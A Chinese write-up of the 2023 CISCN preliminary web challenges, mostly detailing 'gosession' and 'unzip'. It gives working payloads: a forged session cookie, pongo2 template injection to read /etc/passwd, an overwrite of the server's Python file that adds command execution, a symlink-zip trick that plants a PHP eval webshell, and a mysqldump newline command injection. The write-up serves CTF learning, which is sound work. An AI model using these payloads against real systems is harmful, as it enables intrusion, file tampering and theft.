2023CISCN初赛

2023国赛web记录,学到很多,感觉原题也挺多,但是改的挺好

gosession

题目内容:
ctfer按照官方文档的模板编写了代码,但是好像哪里出了问题。

附件两个文件,一个route.go,一个main.go

main.go

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package main

import (
"github.com/gin-gonic/gin"
"main/route"
)

func main() {
r := gin.Default()
r.GET("/", route.Index)
r.GET("/admin", route.Admin)
r.GET("/flask", route.Flask)
r.Run("0.0.0.0:80")
}

这里看到三个路由

1
2
3
4
5
6
7
func main() {
r := gin.Default()
r.GET("/", route.Index)
r.GET("/admin", route.Admin)
r.GET("/flask", route.Flask)
r.Run("0.0.0.0:80")
}

/

/admin

/flask

route.go

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
package route

import (
"github.com/flosch/pongo2/v6"
"github.com/gin-gonic/gin"
"github.com/gorilla/sessions"
"html"
"io"
"net/http"
"os"
)

var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))

func Index(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] == nil {
session.Values["name"] = "guest"
err = session.Save(c.Request, c.Writer)
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
}

c.String(200, "Hello, guest")
}

func Admin(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] != "admin" {
http.Error(c.Writer, "N0", http.StatusInternalServerError)
return
}
name := c.DefaultQuery("name", "ssti")
xssWaf := html.EscapeString(name)
tpl, err := pongo2.FromString("Hello " + xssWaf + "!")
if err != nil {
panic(err)
}
out, err := tpl.Execute(pongo2.Context{"c": c})
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
c.String(200, out)
}

func Flask(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] == nil {
if err != nil {
http.Error(c.Writer, "N0", http.StatusInternalServerError)
return
}
}
resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest"))
if err != nil {
return
}
defer resp.Body.Close()
body, _ := io.ReadAll(resp.Body)

c.String(200, string(body))
}

先看看route.php中对每个路由代码,分析写在注释

Index

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
//定义了一个store的全局变量,用于存储session,session生成用到环境变量SESSION_KEY
//os.Getenv是获取环境变量的函数
var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))

func Index(c *gin.Context) {
//store.Get()从HTTP请求c.Request中读取session-name
session, err := store.Get(c.Request, "session-name")
//如果获取session-name的过程中出现错误,该错误将会被赋值给变量err,并响应码500
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
//如果接收的session会话中没有name属性,就会给name赋值guest
if session.Values["name"] == nil {
session.Values["name"] = "guest"
err = session.Save(c.Request, c.Writer)
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
}
//响应码200,打印 Hello, guest
c.String(200, "Hello, guest")
}

Admin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
func Admin(c *gin.Context) {
// 同Index
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}

// 检查session中name是否是admin,若不是,返回服务器异常500,并且显示NO
if session.Values["name"] != "admin" {
http.Error(c.Writer, "N0", http.StatusInternalServerError)
return
}

// 查询c中参数name,若不存在默认参数ssti
name := c.DefaultQuery("name", "ssti")

// html.EscapeString()转义 < , > , & , ' , " 这五个html特殊字符
xssWaf := html.EscapeString(name)

//使用 pongo2.FromString从字符串中创建一个pongo2模板实例,将"Hello " + xssWaf + "!"传入模板字符串tpl中
tpl, err := pongo2.FromString("Hello " + xssWaf + "!")
if err != nil {
panic(err)
}
// Execute定义模块执行时的上下字符串,该函数会将模板中的变量替换为对应的值,并将结果作为一个字符串返回。

// pongo2.Context{"c": c}将参数c放在模板中,方便调用http请求中的一些数据
//这里相当于赋值如{{ title }},这里进行{"title": "welcome"},
//这样动态显示页面中{{ title }}就是welcome,而本段代码就是c的内容
out, err := tpl.Execute(pongo2.Context{"c": c})
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
// 响应码200,返回打印out参数,也就是c参数
c.String(200, out)
}

Flask

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
func Flask(c *gin.Context) {
//同上
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
//同上,检查有无name这个键值
if session.Values["name"] == nil {
if err != nil {
http.Error(c.Writer, "N0", http.StatusInternalServerError)
return
}
}
//以GET方式向http://127.0.0.1:5000/发送请求,请求c中若无name参数,默认值为guset
resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest"))
if err != nil {
return
}
defer resp.Body.Close()
//读取响应包数据体
body, _ := io.ReadAll(resp.Body)
//响应码200,打印响应包数据
c.String(200, string(body))
}

看到ssti,这里想到利用的就是adminflask路由

SSTI

flask

flask中,没有模板注入处,只有一个获取本地响应包数据的代码

1
2
3
4
resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest"))
if err != nil {
return
}

看到是发起本地请求,获取响应

想到的就是能不能读取到本地一些文件的数据

它会读取http请求中name参数,并加到http://127.0.0.1:5000/后面

所以构造类似

url/flask?name=xx

但是开始没啥思路,但是看到启动main.go时发现是启动默认打开debug模式,debug模式就会将一些代码内容也显示出来,而不是简单的400

image-20230615174941369

所以猜想能不能利用flask下发送错误请求,导致代码报错

于是构造

url/flask?name=/

image-20230615181737962

这里得到/app/server.py

1
2
3
4
5
6
7
8
9
10
app = Flask(__name__)

@app.route('/')
def index():
name = request.args['name']
return name + " no ssti"


if __name__ == "__main__":
app.run(host="127.0.0.1", port=5000, debug=True)

可以看到确实是打开debug

在底下还可以看到

image-20230615185901343

但是并不知道PIN码是多少,所以也不能利用这个地方实现交互式shell,本来想看看PIN码能不能利用SSTI读取成功,但是SSTI也不轻松,解决了SSTI题目应该也就已经解出了

admin

但是admin中,需要sessionname参数为admin

1
2
3
4
if session.Values["name"] != "admin" {
http.Error(c.Writer, "N0", http.StatusInternalServerError)
return
}

session生成需要环境变量SESSION_KEY,而这个根本不知道

session的生成在index中,尝试修改本地index中的代码

1
2
3
4
if session.Values["name"] == nil {
//session.Values["name"] = "guest",修改guest为admin
session.Values["name"] = "admin"
err = session.Save(c.Request, c.Writer)

这样就会将session中的name设为admin

但是本地这里SESSION_KEY为空,本地运行代码后获得的session-name

我试了一下,发现把其代入题目中也可以,所以题目环境中SESSION_KEY也是空

image-20230615171345355

MTY4NjgxODM4NHxEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBY0FCV0ZrYldsdXzwtTk7ay4mTCPFS8SyBfs6-bFy8R09M_ne8m4QhPXjxQ==

再根据代码中模板注入点

1
2
3
4
5
6
7
name := c.DefaultQuery("name", "ssti")
xssWaf := html.EscapeString(name)
tpl, err := pongo2.FromString("Hello " + xssWaf + "!")
if err != nil {
panic(err)
}
out, err := tpl.Execute(pongo2.Context{"c": c})

会将name参数进行符合转义后,传入pongo2模板引擎中进行渲染,可以简单构造一下

image-20230615190608112

发现确实是可以的,但是html.EscapeString(name)把大部分字符都转义了,所以进行ssti也不容易

去了解一下Pongo2,发现Pongo2 库是一个受 Django 模板引擎启发的 Go 模板引擎。

所以能在Django进行的注入,在Pongo2上有极大可能执行成功

Pongo2

pongo2 package - github.com/flosch/pongo2 - Go Packages这里查看,发现有其和Django 1.7相似的地方

image-20230617173702284

就先看看Django 1.7的标签

Built-in template tags and filters — Django 1.7.11 documentation

主要看三个,也就是ssti常见的rce,uploadfile,includefile

include

Built-in template tags and filters — Django 1.7.11 documentation

image-20230617174133634

发现可以进行

{%include "foo/bar.html" %}来包含某个文件,但是因为代码中对单双引号进行转义,所以只能包含变量,所以要构造一个可控变量

而代码中发现,在各个函数中只有一个变量可以控制,就是c,而c的定义是c *gin.Contex

所以查看gin文档中,c应该如何控制,实现传参

gin-gonic/gin#Context

gin package - github.com/gin-gonic/gin - Go Packages

发现Context是一个结构体

image-20230617175336936

有一个http请求包数据的指针,可以获得其内容

查看这个request中内容,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
type Request struct {
Method string

URL *url.URL

Proto string // "HTTP/1.0"
ProtoMajor int // 1
ProtoMinor int // 0

Header Header

Body io.ReadCloser

GetBody func() (io.ReadCloser, error)

ContentLength int64

TransferEncoding []string

Close bool

Host string

Form url.Values

PostForm url.Values

MultipartForm *multipart.Form

Trailer Header

RemoteAddr string

RequestURI string

TLS *tls.ConnectionState

Cancel <-chan struct{}

Response *Response

}

找寻其中可控参数

发现有

URL Header Host

SaveUploadedFile

image-20230617180158976

需要传两个参数,文件(form表单中name的参数)和文件具体位置(path/文件名)

读文件x

开始看马✌发的可以进行读取文件这个

1
2
3
4
5
6
7
8
9
10
11
GET /admin?A&name={%25include%20c.Request.Header[c.Request.URL.RawQuery|truncatechars:1]|join%25} HTTP/1.1
Host: xxx
A: /etc/passwd
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session-name=MTY4NjgxODM4NHxEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBY0FCV0ZrYldsdXzwtTk7ay4mTCPFS8SyBfs6-bFy8R09M_ne8m4QhPXjxQ==
Connection: close

image-20230616160949211

{%include c.Request.Header[c.Request.URL.RawQuery|truncatechars:1]|join%}

%需要进行url编码发包才能被解析,不然读不到name参数

{%include %}

进行包含文件

c

在附件go代码中可以看到c *gin.Context表示一个 Gin 框架处理 HTTP 请求的上下文对象,它包含了 HTTP 请求和响应的所有信息,所以c就是一个HTTP请求和响应集合对象

c.Request.Header

是只读取请求头内容,也就是xx: xxx [如,Accept-Encoding: gzip, deflate]

c.Request.URL.RawQuery

读取URL头中的参数值

truncatechars:1

truncatechars是 Flask 模板引擎中的过滤器,它的作用是截断字符串并返回指定长度的子字符串。在这个过滤器中,:1 表示要截断的长度为 1。[如上文中请求行所示,url中第一个就是A参数]

join

将获取到的值拼接成一个字符串并返回。

我就一直在读文件,想去读取machine_idmac地址然后得到PIN码,利用debug进行交互shell执行命令

image-20230617143635583

image-20230617142812454

image-20230617142840187

但是后面看到浪✌和几位✌说的,似乎并不可行

因为pin rce是需要设置cookie头的,而且pin rce也没法crlf,所以靠ssti读文件也没法继续进行

写文件√

所以就想办法尝试写文件,但是不清楚网站目录以及运行文件

可是根据之前debug得到的server.py文件,这是网站运行的py文件,在/app/server.py

尝试上传覆盖,但是由于是GET读取参数,所以在GET提交中,添加上传文件表单,将server.py中修改,增加解析name参数,实现命令执行并显示执行内容

GET请求也可以提交表单上传文件

根据debug代码修改得到

1
2
3
4
5
6
7
8
9
10
11
app = Flask(__name__)

@app.route('/')
def index():
name = request.args['name']
res = os.popen(name).read()
return res + " no ssti"


if __name__ == "__main__":
app.run(host="127.0.0.1", port=5000, debug=True)

于是构造GET请求行,进行文件上传覆盖

1
/admin?name={%set form=c.Query(c.HandlerName|first)%}{%set path=c.Query(c.HandlerName|last)%}{%set file=c.FormFile(form)%}{{c.SaveUploadedFile(file,path)}}&m=file&n=/app/server.py

解析一下payload,首先先要去官方文档查看c *Context的方法发现有个上传文件的方法SaveUploadedFile

{%set form=c.Query(c.HandlerName|first)%}{%set path=c.Query(c.HandlerName|last)%}{%set file=c.FormFile(form)%}{{c.SaveUploadedFile(file,path)}}&m=file&n=/app/server.py

{% set %}

进行设置参数值

c.Query()

是获取url中参数

(c.HandlerName|first)

c.HandlerName是获取当前的url

first是指定获取url中的第一个参数,即m参数值file

last是获取url中最后一个参数,即n参数值/app/server.py

form path

就是读取url参数,进行赋值

于是

form=file

path=/app/server.py

{{c.SaveUploadedFile(file,path)}}

将上传的文件保存到指定的路径中。其中 file 参数表示要保存的文件,path 参数表示要保存到的路径。

改包发送

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
GET /admin?name=%7B%25set%20form%3Dc.Query(c.HandlerName%7Cfirst)%25%7D%7B%25set%20path%3Dc.Query(c.HandlerName%7Clast)%25%7D%7B%25set%20file%3Dc.FormFile(form)%25%7D%7B%7Bc.SaveUploadedFile(file%2Cpath)%7D%7D&m=file&n=/app/server.py HTTP/1.1
Host: 47.92.233.116:12345
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqwT9VdDXSgZPm0yn
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session-name=MTY4NjgxODM4NHxEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBY0FCV0ZrYldsdXzwtTk7ay4mTCPFS8SyBfs6-bFy8R09M_ne8m4QhPXjxQ==
Connection: close
Content-Length: 562

------WebKitFormBoundaryqwT9VdDXSgZPm0yn
Content-Disposition: form-data; name="file"; filename="server.py"
Content-Type: image/jpeg

from flask import Flask, request
import os
app = Flask(__name__)

@app.route('/')
def index():
name = request.args['name']
res = os.popen(name).read()
return res + " no ssti"


if __name__ == "__main__":
app.run(host="127.0.0.1", port=5000, debug=True)

------WebKitFormBoundaryqwT9VdDXSgZPm0yn
Content-Disposition: form-data; name="submit"

提交
------WebKitFormBoundaryqwT9VdDXSgZPm0yn--

*注意:需要添加

Content-Type: multipart/form-data; boundary=—-WebKitFormBoundaryqwT9VdDXSgZPm0yn

添加表单文件类型,以及分界符号,这就是GET提交上传文件表单和POST请求提交不同之处

写入文件

image-20230617170338372

/flask?name=?name=ls${IFS}/

*同上面对flask代码的分析

它会将name后的参数直接加到http://127.0.0.1:5000/后面,也就是`server.py`运行的端口

所以这里直接将?name=ls${IFS}/作为flaskname参数的值

如修改后的代码知道,server.py会执行name参数中的命令,从而实现

image-20230617185023757
1
/flask?name=?name=cat${IFS}/th1s_1s_f13g
image-20230617170612349

得得flag(nnd,flag名字就不能正常一点吗,不然读文件就解决了

结束

reading

题目内容:

读点什么呢?

与蓝帽杯这道file_session题目很像奇安信攻防社区-2022蓝帽杯初赛WriteUp (butian.net)

unzip

题目内容:

unzip很简单,但是同样也很危险

几乎原题[原创]2021深育杯线上初赛官方WriteUp-CTF对抗-看雪-安全社区|安全招聘|kanxue.com

开始上传

image-20230824095547698

页面跳转到upload.php代码分析

代码分析以及流程

image-20230824100144547
1
2
3
4
5
6
7
8
9
10
<?php
error_reporting(0);
highlight_file(__FILE__);

$finfo = finfo_open(FILEINFO_MIME_TYPE);
if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){
exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);
};

//only this!

首先对上传文件的类型进行了判断

1
if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip')

需要上传的文件类型为application/zip,然后执行

1
exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);

软链接

发现上传的压缩包中文件都被解压在了tmp目录下,如果想要访问,就需要利用软链接,从/tmp链接到/var/www/html

1
ln -s /var/www/html test
image-20230824095110642

但是想要把软链接打包在压缩包中,需要加上参数--symlinks,如果不加上,压缩软链接会把它们指向的实际文件或文件夹压缩进去,而不是保留软链接本身。

1
zip --symlinks test ./*

这样test就指向了/var/www/html

image-20230824105720266

构造木马压缩包

然后建一个相同名字的文件夹test,向其中放入一句话🐎

1
echo '<?php @eval($_POST["cmd"]);?>' > shell.php

image-20230824105344292

然后将这个新建的且包含一句话🐎test文件夹打包成压缩包test1.zip

1
zip -r test1.zip test
image-20230824105800293

p.s.为什么呢?

这里的test1.zip中包含的文件夹名和软链接的名字是一样的,当压缩包在和软链接相同的路径下解压时,因为相同名字的文件不能出现在同意路径下,所以当一个相同名字的文件夹想要解压到有个相同名字的软链接时,

解压命令会把软链接的指向路径当作文件夹名字,从而实现将我们这里的一句话🐎移到/var/www/html下面

1
unzip -o test1.zip

-o起到的是强制覆盖文件的作用,但是只覆盖普通文件,像文件夹和软链接不会被覆盖,所以这里就不需要担心解压相同名字的文件夹在当前目录会把软链接覆盖,其实相反的,软链接指向的路径反而替代了文件夹的名字

如下所示,

image-20230824112017717

可以看到我们的shell.php被解压到了test软链接所指向的路径

解题

先将我们的包含软链接的压缩包test.zip上传上去,避免如果先上传包含木马的,会被test文件夹占用位置

进行上传,虽然上传后和之前一样会回到upload.php,但是进入docker中可以看到是压缩包确实上传解压成功了

image-20230824112559662 image-20230824112546836

然后我们再上传test1.zip,根据我们之前分析的,会将其中的test文件夹下的木马解压到/var/www/html下,也就是首页

操作同上,发现shell.php确实上传到网站首页

image-20230824112959092

直接连接

image-20230824113240803 image-20230824113300506

得到flag

image-20230824113320280

结束

DebugSer

题目内容:

远程环境jdk1.8.0_20

更新提示1:cn.hutool.json.JSONObject.put->com.app.Myexpect#getAnyexcept

考察cc链的改造

BackendService

题目内容:

小明拿到了内网一个老旧服务的应用包,虽然有漏洞但是怎么利用他呢?[注意:平台题目下发后请访问/nacos路由]

CVE-2022-22947改了一些代码

Nacos结合Spring Cloud Gateway RCE利用

dumpit

题目内容:

flag in /flag

找不到环境了,就是好像直接可以执行命令,利用mysqldump

flag就在环境变量里,执行env即可,就是需要分隔符

payload

/?db=&table_2_dump=%0a%20env

环境变量中即可看到flag